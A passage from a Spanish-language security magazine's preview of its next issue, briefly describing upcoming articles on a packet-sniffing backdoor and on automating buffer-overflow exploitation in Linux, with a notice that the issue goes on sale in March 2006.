muestra como escribir un backdoor que use captacion de paquetes (sniffing)
para solucionar estos problemas.

Automatizando el proceso de aprovecha- =

miento de vulnerabilidades en Linux

Mientras hacemos pruebas de penetracion, podemos encontrarnos con
programas cuyo codigo fuente no esta disponible, y que muestran una vul-
nerabilidad potencial frente a la sobrecarga de buffer. El desensamblaje de
este codigo para encontrar los parametros adecuados para el exploit es un
proceso extenuante. Stavros Lekkas muestra como automatizar el proceso
en estos casos utilizando su propia herramienta de demostracion.

Informacién actual sobre el préximo numero
— http://www.hakin9.org/es

El numero esta a la venta desde principios de Marzo de 2006.

La redaccion se reserva el derecho a cambiar el contenido de la revista.
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